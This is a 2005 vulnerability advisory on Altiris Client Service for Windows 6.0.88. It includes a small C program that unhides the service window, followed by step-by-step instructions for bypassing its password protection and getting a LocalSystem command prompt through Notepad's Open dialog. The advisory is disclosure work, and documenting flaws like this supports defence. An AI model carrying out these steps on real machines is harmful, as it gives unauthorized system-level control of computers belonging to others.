04.27.05

Summary:
Privilege escalation and password protection bypass in Altiris Client Service for Windows (Version 6.0.88) (http://www.altiris.com/)

Details:
It is possible to manipulate the administrative interface of the Altiris Client Service for Windows and escalate privileges to that of the LocalSystem account.

When a password is set to protect the property pages of the Altiris Client Service for Windows it is possible to bypass this and disable the password protection feature.

Vulnerable Versions:
Altiris Client Service for Windows (Version 6.0.88)

Patches/Workarounds:
The vendor was notified of the issue. There was no response.

Exploits:
Compile and run the following code to unhide the Altiris Client Service window:

// ===== Start UnhideAltirisClientServiceWindow.c ======
#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
        HWND hWnd;
        CHAR szWindowName[] = "Altiris Client Service";

        printf( "Finding window %s\n", szWindowName );

        hWnd = FindWindow( NULL, szWindowName );

        if ( hWnd == NULL )
        {
                printf( "ERROR! Could not find window %s\n", szWindowName );
        
                exit( 1 );
        }

        ShowWindow( hWnd, SW_SHOW );

        return 0;
}
// ===== End UnhideAltirisClientServiceWindow.c ======

1. The Altiris Client Service window will appear. Click Properties.

2. Click the Security tab and uncheck the Password protect Admin properties box
   and uncheck the Hide client tray icon box. At this point you have affectively
   bypassed the AClient password protection.

3. Click OK.

4. Click Close.

5. The AClient tray icon will appear in the lower right of the screen. Right click
   and choose View Log File.

6. Notepad will appear (running under the context of the LocalSystem account).
   Click File, click Open.

7. Change Files of type: to All Files, navigate to the system32 directory and
   locate cmd.exe.  Right click cmd.exe and choose Open.

The result is a command prompt running under the context of the LocalSystem
account.

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)